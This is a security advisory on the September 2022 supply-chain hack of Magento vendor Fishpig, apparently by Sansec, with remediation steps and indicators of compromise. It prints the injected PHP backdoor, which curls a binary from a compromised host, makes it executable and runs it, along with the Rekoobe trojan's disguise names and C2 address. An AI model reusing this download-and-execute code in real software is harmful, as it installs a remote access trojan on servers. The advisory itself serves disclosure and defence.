Magento vendor Fishpig hacked, backdoors added

⋮ 9/13/2022

Fishpig, a vendor of popular Magento-Wordpress integrations, has been hacked. Sansec found that attackers have injected malware in Fishpig software and taken control of Fishpig servers. Online stores running Fishpig software may now have the "Rekoobe" malware installed on their servers, effectively granting store administrator access to attackers.

Update 2022-09-13 FishPig has confirmed the incident and published a status page. It recommends customers to upgrade and/or reinstall all FishPig modules.

Sansec discovered malware in the Fishpig Magento Security Suite and several other Fishpig extensions for Magento 2. It is likely that all paid Fishpig extensions have been compromised. Free extensions that are hosted on Github seem not to be affected.

The injected malware will install another piece of malware ("Rekoobe") which hides as background process on the server.

The Fishpig distribution server was compromised on or before August 19th. Any Magento store who installed or updated paid Fishpig software since then, is now likely running the Rekoobe malware.

Fishpig software has over 200,000 downloads. It is not known how many stores use the paid extensions.

Next steps for merchants

FishPig has stated that their repository is fully cleaned. Magento merchants are recommended to:

1. Re-install all FishPig extensions per FishPig instructions
2. Run a server-side malware scanner to detect installed malware & unauthorized activity. Use coupon `FISHPIG` to get a free month.
3. Restart the server to terminate any unauthorized background processes

Attack details: lic.bin is Rekoobe

Attackers have added code to `License.php`, which is normally used to validate a Fishpig license. When a Magento staff user visits the Fishpig control panel in the Magento backend, the malware downloads a

Linux binary from `license.fishpig.co.uk`. The name `lic.bin` may make it look like a license asset, but it is actually the Rekoobe remote access trojan.

```
$tmp = '/tmp/.varnish7684';
if (file_exists($tmp)) {
    $fp = fopen($tmp, 'w');

    if (!flock($fp, LOCK_EX | LOCK_NB)) {
        return $this->adminDomain;
    } else {
        fclose($fp);
        @system("cd ~/;curl https://license.fishpig.co.uk/image/dev/lic.png
-o lic.bin;chmod 777 lic.bin;./lic.bin '" . $this->adminDomain . "';rm
lic.bin");
    }
} else {
    @system("cd ~/;curl https://license.fishpig.co.uk/image/dev/lic.png -o
lic.bin;chmod 777 lic.bin;./lic.bin '" . $this->adminDomain . "';rm
lic.bin");
}
```

Rekoobe uses a configuration file called `/tmp/.varnish7684`. After launching, it removes all malware files and remains in memory. It hides as a system process and mimics one of the following system services:

```
/usr/sbin/cron -f
/sbin/udevd -d
crond
auditd
/usr/sbin/rsyslogd
/usr/sbin/atd
/usr/sbin/acpid
dbus-daemon --system
/sbin/init
/usr/sbin/chronyd
/usr/libexec/postfix/master
/usr/lib/packagekit/packagekitd
```

Meanwhile, it waits for commands from the C2 server located at `46.183.217.2` (Latvia).

Sansec has not detected follow-up abuse via the C2 server yet. We expect that access to the affected stores may be sold in bulk on hacking forums.

Acknowledgements

Sansec eComscan has been updated to detect the latest Rekoobe malware varieties.

Thanks to our partners Jetrails & Hypernode for their invaluable help in analyzing this attack!